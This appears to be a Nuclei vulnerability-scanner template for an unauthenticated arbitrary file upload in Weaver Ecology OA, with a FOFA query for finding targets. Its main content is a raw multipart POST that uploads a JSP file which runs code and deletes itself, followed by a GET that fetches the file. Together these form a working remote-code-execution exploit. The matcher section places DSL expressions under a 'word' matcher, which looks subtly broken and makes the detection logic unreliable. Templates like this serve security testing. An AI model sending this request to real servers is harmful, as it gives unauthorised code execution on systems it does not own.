ecology-arbitrary-file-upload: Ecology - Arbitrary File Upload

id: ecology-arbitrary-file-upload

info:
  name: Ecology - Arbitrary File Upload
  author: ritikchaddha
  severity: critical
  description: Ecology contains an arbitrary file upload vulnerability. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code, As a result, an attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-434
  metadata:
    max-request: 2
    fofa-query: app="泛微-协同办公OA"
  tags: ecology,fileupload,intrusive,vuln

http:
  - raw:
      - |
        POST /page/exportImport/uploadOperation.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo

        ------WebKitFormBoundaryFy3iNVBftjP6IOwo
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"
        Content-Type: application/octet-stream

        <%out.print(364536*876356);new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
        ------WebKitFormBoundaryFy3iNVBftjP6IOwo--
      - |
        GET /page/exportImport/fileTransfer/{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "status_code_1 == 200"
          - "contains(body_2, '319463310816') || status_code_2 == 200"
        condition: and
# digest: 4a0a00473045022068b48dbb5649f726d5b8b7502abfb32035549ce2f8feea651c96695d5e09522f022100cec939bc315e9fef7e6b3fc92ab4f233d2cffa61966fcad4815a2c7280ab4e86:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.